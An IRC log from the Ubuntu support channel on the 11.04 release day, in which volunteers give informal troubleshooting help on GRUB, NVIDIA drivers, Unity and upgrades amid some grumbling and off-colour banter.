[04:43] <fringe_boss> casey can be a windows dual boot issue, can be a APIC/ACPI issue
[04:44] <mikinanuq> frankcox777: hmm well the thing is that ifconfig shows an interface eth1 so my guess is that there is a config that's setup for eth0 but not eth1 for some reason
[04:44] <casey> fringe_boss: Well I do dual boot. Does that help any? Spike was saying to reinstall grub.
[04:44] <OY1R> !grub
[04:44] <mikinanuq> frankcox777: it's not the drivers or the card in my opinion at least not at this point.. you see lights on the back where the card is plugged in right?
[04:45] <fringe_boss> casey how many OSs?
[04:45] <OY1R> someone put that grub link up
[04:45] <elijah> Is it possible to upgrade from 32bit to 64bit?
[04:45] <frankcox777> mikinanuq- I see them but not on the cable
[04:46] <sebsebseb> elijah: not without a clean install
[04:46] <frankcox777> mikinanuq-correction -that was just a reflection-no lights
[04:46] <elijah> sebsebseb: okay, could I copy the home folder?
[04:46] <casey> fringe_boss: Just vista and now nawhal updating from meerkat.
[04:46] <sebsebseb> !home | elijah
[04:46] <ubottu> elijah: Your home directory is where all of your personal files are usually kept. For moving your home directory to a separate partition, please see: http://psychocats.net/ubuntu/separatehome
[04:47] <lduros> hello, it seems i can't use unity, and it's using the auto-logging, is there a way I could revert to gnome classic from the command line? I suspect there's a configuration file for this no?
[04:47] <spikebike> lduros: select ubuntu-classic at the gdm login
[04:47] <fringe_boss> casey by reinstalling GRUB you run the risk of loosing boot acces to the other OS. once I got involved in such problem - and its hardcore stuff
[04:47] <Laggg> escott: worked wonderfully :D
[04:48] <escott> Laggg, glad to here
[04:48] <lduros> spikebike: I don't have the gdm-login, because it's logging in automatically
[04:48] <Laggg> Props to escott! We've got the same name and he knows what he's talking about when it comes to linux!!
[04:48] <lduros> it makes i'm stuck in the command line, no x-server
[04:48] <casey> fringe_boss: Oh really? Thanks for telling me man. I was almost going to go down that path. Any ideas on what I should do? It's really annoying to boot from previous versions menu :(.
[04:48] <mikinanuq> frankcox777: usually those light up if they have a good link so maybe it is the card. If you pull the drive and put it in another pc you may have trouble with drivers that are not installed or misconfigured unless you have a similar or identical spare box
[04:48] <fringe_boss> casey I heard about another boot manager people are using, but dont remember its name. take a look at freshmeat - good luck
[04:48] <spikebike> lduros: create a second user I suspect then it won't autologin
[04:49] <blognewb> hi guys is there a nice task mgr for ubuntu?
[04:49] <escott> lduros, /etc/grub/custom.conf
[04:49] <escott> lduros, remove it
[04:49] <sebsebseb> fringe_boss: casey  Grub and LILO, but hardly anyone uses LILO anymore
[04:49] <frankcox777> mikinanuq-Usually ubuntu finds the drivers if there is a connection-maybe that is my problem here-no connection, no ethernet driver
[04:49] <lduros> escott: let me try this thanks
[04:49] <blognewb> kinda like coHuman but now im scared of it because the data is kept in their servers
[04:49] <casey> fringe_boss: freshmeat? Really lol? Is that whats it's called?
[04:49] <lduros> spikebike: i'll try making a second user if the custom.conf doesn't work
[04:50] <Kreative`> blognewb, System -> Preferences -> Adminstration -> System Monitor?
[04:50] <fringe_boss> sebsebseb theres another one
[04:50] <casey> sebsebseb: Are you not advising LILO then?
[04:50] <sebikul> Hi to everyone!. When upgrading to natty today (having already installed all drivers, etc.),  after the plymouth screen disappears , I am left with a screen with the nvidia logo, the PC is locked there,  it doesn't load any further, and I must restart by pressing Alt + Sys + B. I have a video card Nvidia GForce GT220 PCI  and onboard Geforce 6150 LE, but not being used. The only thing I could get from the logs is this  (http://paste.ubuntu.
[04:50] <blognewb> Kreative` i meant task manager software
[04:50] <sebikul> Note that this only happens when using the proprietary driver. When using nouveau I can use ubuntu without a problem, same as when using a failsafe boot
[04:50] <sebsebseb> casey: indeed,  hardly any distro's do LILO by default anymore, which also means hardly anyone knows LILO
[04:50] <blognewb> hi guys is there a nice task mgr software for ubuntu? for managing job tasks
[04:50] <Kreative`> What do you mean, job tasks?
[04:50] <sebsebseb> casey: some distro's still using the old nice old version of Grub, but later versions of Ubuntu that Grub 2 thing hmm
[04:50] <frankcox777> mikinanuq -Wont take long to find out
[04:50] <Name141> Is there any real reason not to download and use the 64bit Ubuntu on a 4GB RAM system ?
[04:50] <sebsebseb> !grub2 | casey
[04:50] <ubottu> casey: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[04:51] <blognewb> Kreative` personal tasks
[04:51] <casey> sebsebseb: Are you aware of my problem? Basically I am having trouble booting narwhal after the update I did. It seems to freeze and be stuck in an ubuntu loading menu :(.
[04:51] <Kreative`> Ah..
[04:51] <carandraug> Name141, if your system is not 64-bit
[04:51] <mikinanuq> frankcox777: yeah, check it out won't take long
[04:51] <sebsebseb> casey: no, but i t just be an upgrade that went wrong
[04:51] <Name141> carandraug: I suppose it is, it's an Athlon II X4
[04:51] <sebsebseb> carandraug: ,but it could just be an upgrad that went wrong
[04:51] <sebsebseb> casey: ^
[04:51] <bizerklurker> Can someone tell me why my launcher icons revert to default upon login?
[04:51] <bizerklurker> I'm using Unity
[04:51] <casey> sebsebseb: So how do I make an upgrade go wrong turned right?
[04:52] <sebsebseb> casey: if you can't  boot up 11.04 after upgrading to it, maybe recovery mode from the boot loader can help some how, or just clean install
[04:52] <escott> lduros, you may need to restart the gdm service
[04:52] <bizerklurker> Launcher Icons Revert to Default Upon Login
[04:52] <casey> sebsebseb: dang. I was hoping not to do that. It sounds a little messy.
[04:52] <carandraug> Name141, I know on the old times, some software had problems on 64-bit. Specially flash player. I don't think this old true anymore but all my machines are still 32-bit
[04:53] <sebsebseb> casey: well when it comes to re installing Linux distro's haveing a seperate /home really does help useually :)
[04:53] <lduros> escott: It doesn't seem to have done the trick though, x-server still finds no screen
[04:53] <ball> Well I'd best break out the screwdrivers then.
[04:53] <fringe_boss> casey sebsebseb theres another boot manager around, about wich I heard good reviews
[04:53] <sebsebseb> casey: however in the case of Ubuntu,  I have always set that up on the install of Ubuntu, never afterwoulds, which is also possible
[04:53] <lduros> escott: I'm wondering if there's a config file for this that's preventing me to get the graphic interface
[04:53] <spyzer> hello everyone, when id lsmod i find that "radeon" is loaded as a module BUT do i also need to specify that in xorg.conf ???
[04:53] <casey> sebsebseb: I believe I did do that from reading a tutorial but I don't know what it xactly means. Is there anyway I can check?
[04:53] <sebsebseb> fringe_boss: oh BLURG?
[04:53] <spyzer> please tell
[04:53] <spyzer> currently there is no xorg.conf
[04:54] <Name141> carandraug: Will the 64bit still have the 'make a startup drive' option for a USB stick ?
[04:54] <casey> *exactly
[04:54] <carandraug> Name141, like I said, I don't know because i never used the 64-bit. But I'd have to guess I'd say yes
[04:54] <sebsebseb> fringe_boss: there's one based on Grub 2,  that omgubuntu go on about sometimes,  Blurg I think
[04:54] <mikinanuq> casey: I had a similar problem because of nvidia drivers.. would stay at the pink ubuntu screen and never get to the login.. do you have nvidia?
[04:54] <fringe_boss> spyzer dunno - doesnt sounds like
[04:54] <casey> sebsebseb: Is blurg bad or something lol?
[04:54] <sebsebseb> casey: Blurg isn't reallyf or newbies, it's a new project, based on Grub 2,  so people can theme Grub better and such
[04:54] <casey> mikinauq: I sure do lol. Any solution?
[04:55] <Name141> carandraug: I guess I'd only lose a CD and some bandwidth if it doesn't.
[04:55] <sebsebseb> casey: and things can mess up if you do it wrong or whatever
[04:55] <Name141> carandraug: while I wait on the 32bit to download..
[04:55] <sebsebseb> casey: stick with Grub
[04:55] <sebsebseb> casey: other boot loaders are quite pointless useualy now days
[04:55] <casey> sebsebseb: yeah well i'm a newbie, so i'll trust you with that.
[04:55] <frankcox777> mikinanuq-have to use this machine-brb
[04:55] <mikinanuq> casey: I had to boot in to recovery mode root with network.. then apt-get install linux-generic-headers  or  apt-get install linux-headers-generic
[04:56] <codex84> i have ubuntu 10.10 just upgrade to 11.04 after done installation and restart doesnt nuttin but my background
[04:56] <codex84> ?
[04:56] <carandraug> casey, I subscribe sebsebseb opinion. Stick with GRUB
[04:56] <codex84> doesn't show nuttin**
[04:56] <casey> mikinanuq: So that worked for you?
[04:56] <Spork> I'm having a problem with 11.04, I just upgraded
[04:57] <shmup> someone helped me with this a while ago and i completely forget what i did. just set up lamp & phpmyadmin. when i try accessing localhost/phpmyadmin, it downloads a file.
[04:57] <mikinanuq> casey: yeah, I read it in a bugreport.
[04:57] <shmup> i cannot remember the fix ;x
[04:57] <rahduke> just upgrade to 11.04, graphics drivers not working, nouveau driver doesn't kick in and im left with a terminal. I had custom Nvidia drivers installed prior to upgrade, trying to install the new nvidia drivers off their site (which apparently work) but the installer says I need to disable Noveau in X config.... how do i do that
[04:57] <casey> mikinanuq: Awesome. Thanks for the help. I'm going to try that for sure.
[04:58] <amy_> just curious, but are all the *BSD channels normally invite only?
[04:58] <shmup> er this wasnt an ubuntu question heh sorry
[04:58] <carandraug> !phpmyadmin | shmup
[04:58] <Guest80758> In my new 11.04 upgrade, my mouse keeps not responding to clicks
[04:58] <codex84> i have trouble too show nuttin but my desktop
[04:58] <Roasted> How can I turn off the tap-to-select on my touchpad in ubuntu?
[04:58] <lduros> rahduke: exactly the same problem for me. if i try sudo startx, i get fatal error: no screens found. do you have the same problem?
[04:58] <codex84> background
[04:58] <mikinanuq> casey: no prob hope it helps
[04:58] <bizerklurker_> Can someone please help me I've been lost for hours... why do my launcher icons revert to default upon every login? :(
[04:58] <bizerklurker_> Can someone please help me I've been lost for hours... why do my launcher icons revert to default upon every login? :(
[04:58] <rahduke> i havent tried that
[04:59] <rabbit_> mikinanuq-I bridged the drive to my other machine and an using that hard drive to talk to you now
[04:59] <katsrc> trying to compile and getting this error: "configure: error: C compiler cannot create executables" anyone have an idea what it could be?
[04:59] <mikinanuq> bizerklurker_: You can try and reset your profile but it's kind of extreme and a little bit of work. at least it will fix the problem for sure
[04:59] <SpockSpork> So does anyone know why the mouse won't respond to clicks in 11.04?
[04:59] <spikebike> katsrc: try to compile hello_world.c
[05:00] <mikinanuq> rabbit_: ok
[05:00] <bizerklurker_> mikinanuq Hmm... I am a beginner.. do you really think I should?
[05:00] <trueman> i have black screen of death, tried nomodeset and installed... but what to do next? i have low resolution (640x480). It's bad=(
[05:00] <dijonyummy> is there a good way to install apps via script via apt-get or synaptic or aptitude, but still get the icons in gnome panel?
[05:00] <spikebike> dijonyummy: apt-get does that
[05:00] <frankcox777> mikinanuq-apparently you were right- it is working on the other drive but know says eth0
[05:00] <mikinanuq> bizerklurker_: I had to do it today after the upgrade :( ...
[05:01] <carandraug> dijonyummy, you still get the icons on the panel if you install with aptitude
[05:01] <mikinanuq> frankcox777: cool.. so it is the NIC on that other pc
[05:01] <frankcox777> mikinanuq-any idea how to fix it?
[05:01] <bizerklurker_> mikinanuq how do I even go about doing it?
[05:01] <codex84> problem with 11.04 is not showing nothing but my background
[05:01] <frankcox777> not sure-on this one it says eth0 instead of eth1
[05:01] <codex84> just upgraded ittt
[05:01] <frankcox777> mikinanuq>	not sure-on this one it says eth0 instead of eth1
[05:02] <mikinanuq> bizerklurker_: go in to a command prompt and reset your root password first because you need to log in as root to do it.
[05:02] <trueman> black screen of death...
[05:02] <mikinanuq> bizerklurker_: do a  "sudo su" put in your password
[05:03] <mikinanuq> bizerklurker_: now you are in as root...  type passwd <ENTER> and set the root password
[05:03] <frankcox777> mikinanuq- Wonder if I delete eth1 on other machine and reboot if it will start working?
[05:03] <pp7> how do u change the background color of the top unity panel?
[05:03] <mikinanuq> frankcox777: hmm usually that's just automatic
[05:03] <linux> really
[05:03] <bizerklurker_> mikinanuq I'm getting lots of output -.- ......
[05:03] <bizerklurker_> errr
[05:04] <mikinanuq> bizerklurker_: sudo su   should not give you lots of output
[05:04] <frankcox777> mikinanuq-ok - I guess the next move is to put in a pci ethernet card and disconnect the one on the mainboard
[05:04] <TrentonAdams> carandraug: I already tried ubuntu-classic.  The menu/task bars look really good until suddenly they change to the old style MS windows look with really stand out buttons
[05:05] <keithclark> what is the irc channel for ubuntu just general discussion?
[05:05] <bizerklurker_> mikinanuq "Authentication token manipulation error"
[05:05] <frankcox777> mikinanuq -Thanks for all your time
[05:05] <TrentonAdams> carandraug: this happens during login, something must be messing something up, but I'm not sure what.
[05:05] <mikinanuq> frankcox777: true that may eliminate the onboard NIC issue.. you should disable the NIC in the BIOS for the onboard if you're putting in a PCI one
[05:05] <SpockSpork> Can anyone point me to the right channel for 11.04 help, or answer my question?
[05:05] <mikinanuq> frankcox777: no prob
[05:05] <mikinanuq> bizerklurker_: give me a sec.. gotta put the kids to bed
[05:05] <bizerklurker_> mikinanuq nvm it worked
[05:05] <bizerklurker_> mikinanuq oh wow I'm sorry you go ahead
[05:06] <balleyne> upgrade to 11.04, when I open Firefox I can't seem to access any of the Unity stuff (no global menu, BFB, launcher items... have to switch workspaces to see any of that. and super doesn't bring up the dashboard...). Thoughts?
[05:06] <carandraug> TrentonAdams, sorry, at this hour (5am here) I can't think of what may be wrong
[05:07] <linux> What is Ubuntu.
[05:07] <trueman> black screen of death... Who solved this problem on 11.04 with nvidia cards, please help
[05:07] <TrentonAdams> carandraug: you NUT, go to bed.
[05:08] <keithclark> I found it, thanks
[05:08] <carandraug> TrentonAdams, I will soon. But still have work to do
[05:08] <codex84> i upgraded too 11.04 is not showing nothing but my background wallpaper
[05:08] <tortoise> Hey guys. I've been faced with this issue for quite awhile, and have googled and researched and googled and researched and have yet to find a solution. I'm using 10.04, and firefox and when I attempt to load pages with hyphens at the end or the beginning of the URL, the page won't load. It does the same thing in Chrome. Even after all of the googling I have done, I still don't have a clue how to fix this, so I'm hoping someone
[05:08] <TrentonAdams> carandraug: The funny thing about it, is that my actual windows, all of them, have the proper theme, just the menu and task bars don't.
[05:08] <tortoise> here could give me some direction?
[05:08] <spikebike> balleyne: create a new user and login as that user
[05:09] <trueman> Background wallpaper =) I see only black screen on my screen...
[05:09] <carandraug> TrentonAdams, try "metacity --replace"
[05:09] <TrentonAdams> carandraug: I get Window manager warning: "" found in configuration database is not a valid value for keybinding "begin_move"
[05:09] <SpockSpork> I'm having a problem where my mouse refuses to click on anything,
[05:09] <TrentonAdams> carandraug: from the console
[05:09] <SpockSpork> 11.04
[05:10] <spikebike> tortoise: give an example url
[05:10] <rgr> SpockSpork: left? right? both? middle button?
[05:10] <trueman> black screen is the most difficult problem, only few men have solved it
[05:10] <carandraug> TrentonAdams, did you try to change the theme on appearance preference window?
[05:10] <SpockSpork> sometimes one, somtimes both
[05:10] <mikinanuq> bizerklurker_: ok so if you reset the root password you'll have to do the following but you need to reboot to do it... write the next steps down
[05:10] <tortoise> spikebike: http://novemberblue-.tumblr.com
[05:10] <SpockSpork> it's acting very finnicky
[05:11] <codex84> i upgraded to 11.04 nothing is showing
[05:11] <balleyne> spikebike: and that will fix my current user's settings? I can see Unity stuff, until I open Firefox or focus on Firefox...
[05:11] <codex84> but my background wallpaper
[05:11] <rgr> yes, my crystal can see that...
[05:11] <codex84> ?
[05:11] <bizerklurker_> mikinanuq will do
[05:11] <armor-64> hi guys i need help,i have problem with the ATI VGA(drivers)can i keep the default Ubuntu drivers instead
[05:11] <tortoise> spikebike: I've also tried excluding the http bit, as well as with and without the w's but it doesn't make a difference
[05:11] <canthus13> codex84: try classic ubuntu.
[05:11] <linux> l see.
[05:11] <codex84> i cant
[05:11] <codex84> doesnt show the menu bar
[05:11] <trueman> I have a black screen after installed nvidia 270xxx drivers.. What to do?
[05:11] <codex84> or nothiing
[05:11] <mikinanuq> bizerklurker_: reboot, when you're at the login screen press ctrl+alt+f1 ... that takes you in to a console/command window. log in with root.
[05:11] <rgr> codex84: select it from the login dialog or?
[05:12] <canthus13> codex84: switch to a terminal, reboot from the command line, and then change to classic ubuntu before logging in.
[05:12] <mikinanuq> bizerklurker_:  do a  "cd /home"
[05:12] <balleyne> spikebike: ah, nm; restarting Firefox did the trick...
[05:12] <kjxl9> hello
[05:12] <codex84> it doesnl;t even show a login box or nuttin
[05:12] <codex84> lol
[05:12] <renegaid> ubuntu seems to get slower and slower with every release
[05:12] <rgr> hopefully you didnt upgrade. You would be mad to trust a Ubuntu upgrade.
[05:12] <canthus13> codex84: Eh? GDM isn't even starting? Ugh-oh.
[05:13] <spikebike> renegaid: 11.04 feels like 10.10 to me
[05:13] <kz3> should i upgrade to 11.04 or not?
[05:13] <mikinanuq> bizerklurker_: then  "mv your_folder your_folder.old" .. that renames your old profile folder but doesn't delete it. You can get your documents and other stuff back from it
[05:13] <rgr> canthus13: if he can see his wallpaper then gdm has started.
[05:13] <canthus13> kz3: I wouldn't.
[05:13] <codex84> yeaa nothingg
[05:13] <codex84> yoo
[05:13] <spikebike> kz3: IMO the default default 11.04 is much lik egoing from linux to osx
[05:13] <canthus13> rgr: Well, not completely from the sounds of it...
[05:13] <rgr> codex84: have you restarted?
[05:13] <selekta|> the installer has detected that the following disks have mounted partitions
[05:13] <codex84> not even alt f1
[05:13] <kz3> canthus13: why?
[05:13] <spikebike> kz3: so if you don't want a big change don't upgrade
[05:13] <codex84> yea mad timess
[05:13] <selekta|> Do I want to unmount the disks before continuing?
[05:13] <canthus13> kz3: Give it a week or two.
[05:13] <trueman> Every release i see only black screen =) What is Ubuntu??
[05:13] <rgr> you mean C-alt-f1?
[05:13] <selekta|> Im installing 11.04
[05:13] <codex84> and even shutdownn
[05:13] <lduros> canthus13 codex84: i have the same problem, if i try sudo startx I get no screens found
[05:13] <canthus13> kz3: It's pretty hairy so far.
[05:14] <linux> 9.10
[05:14] <rgr> Its ludicrous to release such buggy crap on poor users regardless of state.
[05:14] <canthus13> linux: 9.10 is EOL.
[05:14] <mrdeb> xshould you upgrad from lts to 1104?
[05:14] <lduros> canthus13 codex84: i was able to load in failsafe mode, then low graphics, it was ubuntu classic, reverted to ubuntu classic but it didn't do the trick. ... damn
[05:14] <codex84> yea nothing work
[05:14] <mikinanuq> bizerklurker_: after you move it you have to create a new folder for your profile with   "mkdir your_folder" ... now give yourself permissions to it by "chown yourlogin:yourlogin your_folder" all three will be the same essentially..
[05:14] <codex84> no menu nothing not even c-alt f1
[05:14] <codex84> doesnt work eitherr
[05:14] <kjxl9> 11.04 is my first linux os
[05:14] <dxdemetriou> upgrade from 10.10 to 11.04 I have the error "The upgrade has completed but there were errors during the upgrade process"
[05:14] <linux> Yes, I do.
[05:14] <kz3> so i should stick with 10.10?
[05:14] <trueman> Black screen... help
[05:14]  * spikebike shrugs, I've done a 11.04 nvidia install, ati install, and a server install
[05:14] <spikebike> works for me
[05:14] <Chrisro> Hello when doing a usb boot whats this mean 'unknown keyword in configuration file:appe'
[05:15] <rgr> codex84: sounds like your system is hosed. But you DO see your wallpaper indicating the video works,
[05:15] <Julie972> hi
[05:15] <mrdeb> spikebike: is 1104 beter than 1094
[05:15] <Julie972> is there smone still awake ?
[05:15] <linux> need help.j
[05:15] <canthus13> lduros: I got Classic working, but it's ugly... and enabling compiz brings on other issues, like missing window decorations (which can be enabled in ccsm.. but that has to be installed)
[05:15] <Julie972> need help too :(
[05:15] <mikinanuq> bizerklurker_: now you can exit out of the console and press alt+f7 to get back to the login screen. log in and if you did everything correctly you'll have a new profile like it was when you first installed ubuntu
[05:15] <codex84> yea i could see wallpaper
[05:15] <Braiam> !ash | Julie972
[05:15] <codex84> and change it
[05:15] <lduros> canthus13: i'm just stuck in the terminal forever :-)
[05:15] <codex84> thats it
[05:15] <Braiam> !ask | Julie972
[05:15] <ubottu> Julie972: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[05:15] <rgr> and change it?!?! How do you change it if "nothing works"?
[05:15] <Julie972> poor noob girl stuck with upgrade from 10 to 11.04 :(
[05:15] <dxdemetriou> if upgrade does not complete can I re-run the cleaning process?
[05:16] <canthus13> lduros: Not so bad... I do everything but web browsing from the command line. :)
[05:16] <rgr> Julie972: you're not a girl.
[05:16] <mikinanuq> bizerklurker_: did you get all that?
[05:16] <Julie972> yap i am :)
[05:16] <lduros> canthus13: yeh except this computer is my wife's and she doesn't do command line
[05:16] <lduros> :-)
[05:16] <codex84> im on my other pc at homeee
[05:16] <Julie972> a french one
[05:16] <tase> hey ubuntu im trying to install drivers for Broadcom wifi chip, but the install script isnt working , says its not a supported card, but the PCI_ID is supported, model is supported, etc...
[05:16] <soreau> Julie972: What happened?
[05:16] <Julie972> lol
[05:16] <bizerklurker_> bizerklurker_ how can I retrieve my files and I do not literally tyles my_folder right?
[05:16] <canthus13> lduros: Heh. That's why my wife is using Lucid. :)
[05:16] <rgr> so what? Expect special treatmenmt? ;) my bet is a fat buy in the celler...
[05:16] <kz3> so it means I shouldnt upgrade to 11.04?
[05:16] <trueman> Please help motherfuckers=)
[05:16] <soreau> ! language | trueman
[05:16] <Atharva> how to start desktop cube and wobbly windows in natty ?
[05:16] <ubottu> trueman: Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
[05:16] <Julie972> i did launch (sorry bad english) upgrade from 10.04
[05:17] <kz3> trueman: this is not the way to speak here
[05:17] <rgr> kz3: read this channel. If you upgrade to 11-04 you're nuts.
[05:17] <bizerklurker_> mikinanuq how can I retrieve my files and I do not literally tyles my_folder right?
[05:17] <soreau> ! ccsm | Atharva
[05:17] <ubottu> Atharva: To enable advanced customization of desktop effects in Ubuntu: install 'compizconfig-settings-manager' or 'simple-ccsm'. If you install the latter, a new option will appear in your appearance properties - See also !compiz - Help in #compiz
[05:17] <Julie972> reboot
[05:17] <mrdeb> should we upgrade to 1104 or not
[05:17] <Julie972> un says cannt mount
[05:17] <Julie972> i did sudo mountall
[05:17] <mrdeb> yes or no right now answre pls
[05:17] <canthus13> Atharva: switch to classic, install ccsm, enable them.. and don't forget to enable window decorations.
[05:17] <bizerklurker_> mikinanuq yes I got it
[05:17] <Julie972> stuck without mouth
[05:17] <trueman> i am sorry
[05:17] <codex84> dont upgradee lol
[05:17] <tanath> can anyone help me track down what package to file a bug report on?
[05:17] <rgr> "sudo mountall"!?
[05:17] <mrdeb> codex84: wy not
[05:17] <bizerklurker_> mikinanuq stupid question I just never really dabble with this stuff :p
[05:18] <codex84> im having problems with my
[05:18] <Julie972> yep rgr
[05:18] <codex84> is froze on my background
[05:18] <Artarian> i hate so much 11.04 version
[05:18] <codex84> cant do nothinggg
[05:18] <tanath> my mouse wheel has limited ability to scroll up. it's a regression
[05:18] <codex84> i have to fresh instaLL  ubuntu 10.10 again
[05:18] <Julie972> no i cant od anythong on the login screen
[05:18] <mrdeb> codex84: qwhy
[05:18] <Artarian> jesus
[05:18] <celthunder> tanath: what packages is buggy
[05:18] <Artarian> thats the worst version of ubuntu ever
[05:18] <mikinanuq> bizerklurker_: to retrieve your files you go to /home and you will see your_folder.old in there. you can copy/paste from it the documents you need
[05:18] <tanath> celthunder, exactly
[05:18] <trueman> Guys, what to do with black screen, after installed nvidia drivers...
[05:18] <tanath> celthunder, (see my first comment)
[05:18] <rgr> lol, I didnt expect it to be this bad a release. Wow. The support forums are totally overrun. Why oh why do they release such crap on a fixed date rather than a properly tested stable base? Silly.
[05:18] <KXTwo> natty came out today?
[05:19] <celthunder> tanath: ok i just got here let me scroll up
[05:19] <Julie972> so i shloud go back to 10.10 ?
[05:19] <mrdeb> wha is the isue
[05:19] <bizerklurker_> mikinanuq okay. will try it. thank you (:
[05:19] <mrdeb> no
[05:19] <Artarian> how do i roll back to 10.10?
[05:19] <Julie972> but how ?
[05:19] <rahduke> YUP NO SCREENS FOUND WHEN TRYING STARTX
[05:19] <spikebike> hey
[05:19] <KXTwo> why would you want to roll back?
[05:19] <spikebike> oneone have a fix for URLs opening firefox instead of chrome?
[05:19] <Julie972> co we cant go forward
[05:19] <spikebike> anyone rather
[05:19] <codex84> alot of people are having problems with
[05:19] <codex84> 11.04
[05:19] <codex84> like iam
[05:19] <Artarian> guys can anyone help after startx no screen found issue i did purge and reinstalled nvidia-current but this driver work so bad at 11.04
[05:20] <tanath> celthunder, @ minute 18
[05:20] <Artarian> codex84, this is so shi***
[05:20] <KXTwo> so im not going to upgrade then
[05:20] <trueman> rahduke, i have same problem
[05:20] <KXTwo> if people are having problems with 11.04
[05:20] <bp0> you can't roll back but you can backup your /home folder and reinstall 10.04 or 10.01
[05:20] <rahduke> how can i install the new nvidia drivers? my graphics are effd
[05:20] <bp0> 10.10
[05:20] <codex84> i knoww
[05:20] <bp0> KXTwo, don't.
[05:20] <SpockSpork> I'd like to reinstall 10.10
[05:20] <rahduke> somehow have to disable nouveau but im lost
[05:20] <SpockSpork> 11.04 is still buggy as hell
[05:20] <rahduke> trueman:
[05:20] <Artarian> its shitty
[05:20] <cooladmin> Hi
[05:20] <rahduke> trueman: hyea this suks
[05:20] <codex84> yeaaaa
[05:20] <codex84> sucks b allss
[05:20] <maco> Julie972: hey by the way, are you aware of the existence of the Ubuntu Women Project? its aim is to help women get more involved in Ubuntu
[05:20] <trueman> download from nvidia,com
[05:20] <Roasted> How can I turn off the tap-to-select on my touchpad in ubuntu?
[05:20] <mikinanuq> bizerklurker_: ok, good luck.. BTW when you have a good profile... you can backup your   /home/your_folder  to /home/your_folder.backup ... then if you mess anything up you can revert back to a good backup
[05:20] <codex84> ballss
[05:20] <FloodBot1> codex84: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[05:21] <mikinanuq> bizerklurker: makes sense?
[05:21] <maco> Julie972: http://women.ubuntu.com
[05:21] <IdleOne> !language | Artarian
[05:21] <ubottu> Artarian: Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
[05:21] <mrdeb> should we install 1104 now
[05:21] <Artarian> IdleOne, thanks for the help bro
[05:21] <rahduke> i knew this wasnt going to go smoothly, bad omen for 11.04 and unity
[05:21] <bp0> mrdeb, no.
[05:21] <codex84> lol
[05:21] <trueman> rahduke, go to nvidia.com and download drivers
[05:21] <armor-64> hi guys i need help,i have problem with the ATI VGA(drivers)can i keep the default Ubuntu drivers instead
[05:21] <mrdeb> bp0: why
[05:22] <rcconf> Maverick is not reading a DVD+R Dual Layer which plays perfectly fine in DVD player
[05:22] <codex84> bye natty see  u in saint patty
[05:22] <codex84> lmaoo
[05:22] <KXTwo> ive never heard of ubuntu having this much problems with new releases
[05:22] <TrentonAdams> carandraug: Sorry if I didn't see your message.  I ran the metacity thing then Ctrl-C it, and nothing worked, big surprise. :P
[05:22] <rcconf> I used "seamless" option when I burned it
[05:22] <Artarian> KXTwo, this is the worst ubuntu version ever
[05:22] <bp0> mrdeb, many bugs, and slow
[05:22] <codex84> maybe some crappy developer
[05:22] <codex84> messed it up lol
[05:22] <mrdeb> bp0: ok
[05:22] <KXTwo> they will fix it within a couple of weeks
[05:22] <Julie972> ok I'm a woman but not such noob like some man :)
[05:22] <KXTwo> I would imagine
[05:22] <tanath> KXTwo, big changes. short-term step backwards for long term gain
[05:23] <trueman> rahduke, after press ctrl+alt+f1 type sudo -sh NVIDIAxxxx.run
[05:23] <Julie972> working in education
[05:23] <KXTwo> arent they changing the gui too?
[05:23] <Julie972> tring to spread unbuntu
[05:23] <rahduke> trueman: i have, been trying to install them for a half hour, the installer says nouveau kernel driver running, need to disable it in some modprobe place and in x conf, did that. no go
[05:23] <Julie972> stuck in 11.04 upgrade :(
[05:23] <nzashadow> where can I go to get help with the terminal
[05:23] <rahduke> its borked
[05:23] <mikinanuq> KXTwo: I think it's just the Unity stuff that's throwing people for a loop.. learning curve. It's like everyone going from XP to 7.. everyone hates it because the interface is so different from the previous
[05:23] <bp0> rahduke, are you using the nvidia installer or "additional drivers"?
[05:23] <KXTwo> I wouldnt upgrade I'd do a fresh install
[05:23] <trueman> rahduke, oh i see! try sudo /etc/init.d/gdm stop
[05:23] <celthunder> tanath: ok is it a physical mouse or a touchpad
[05:23] <spikebike> mikinanuq: agreed, kinda like going form linux -> osx
[05:23] <rahduke> tried the nvidia installer and additional drivers....
[05:24] <trueman> rahduke, after try to install again
[05:24] <tanath> celthunder, optical mouse
[05:24] <Cairo|Mac> I upgraded to Ubuntu 11.04
[05:24] <carandraug> TrentonAdams, I don't know. Sorry. I'm going away now. Need some sleep
[05:24] <rahduke> trueman: im not having a problem running the installer, its having an issue with nouveau
[05:24] <mrdeb> Cairo|Mac: work good?
[05:24] <celthunder> tanath: do you have an Xorg configuratioj
[05:24] <spikebike> nouveau = broken
[05:24] <amy_> I havent been entirely fond of the 11.04 upgrade, myself. My flash player is a bit glitchy, but still workable, other than that, I just needed to reset my sound stuff and set classic login again.
[05:24] <tanath> celthunder, used to work fine, then about a month ago i think, it started eating up scrolls after a few
[05:24] <_pg_> can someone help me calibrate my controller with dead zones using jscal?
[05:24] <rahduke> ive installed nvidia drivers from their site a hundred times over
[05:24] <Cairo|Mac> but samba4 had a problem installing so now when i turn my computer on i just get black and white stuff
[05:24] <spikebike> amy_: heh, I've actually had MUCH better luck with the 11.04 flash
[05:24] <Cairo|Mac> mrdeb ^^
[05:24] <spikebike> even if I had 10 tabs open with youtube videos they all behave themselves, unlike 10.10's
[05:25] <bp0> amy_, use firefox? there is a firefox extension called flash-aid or something like that, that will get you the best flash support possible
[05:25] <amy_> spikebike, my 10.10 was -perfect- with Flash, for some reason 11.04 messed with that a bit.
[05:25] <bp0> dont use the packages
[05:25] <amy_> bp0, yeah
[05:25] <tanath> celthunder, haven't checked since i reinstalled 10.10 when it was new... so whatever is default
[05:25] <spikebike> amy_: sucks
[05:25] <rahduke>  _pg_ that is a pain in the ass
[05:25] <HealingDruid> can someone upgrade to 11.04 from 10.10, i'm having the pkgProblemResolve issue
[05:25] <_pg_> rahduke, youre tellin me!
[05:25] <rahduke> especially if you have an old controller that is worn out
[05:25] <spikebike> amy_: I'm using 11.04 with chome + flash, maybe thats the difference
[05:25] <amy_> bp0,  thanks, i'll actually give that a go.
[05:25] <rahduke> its never going to set correctly
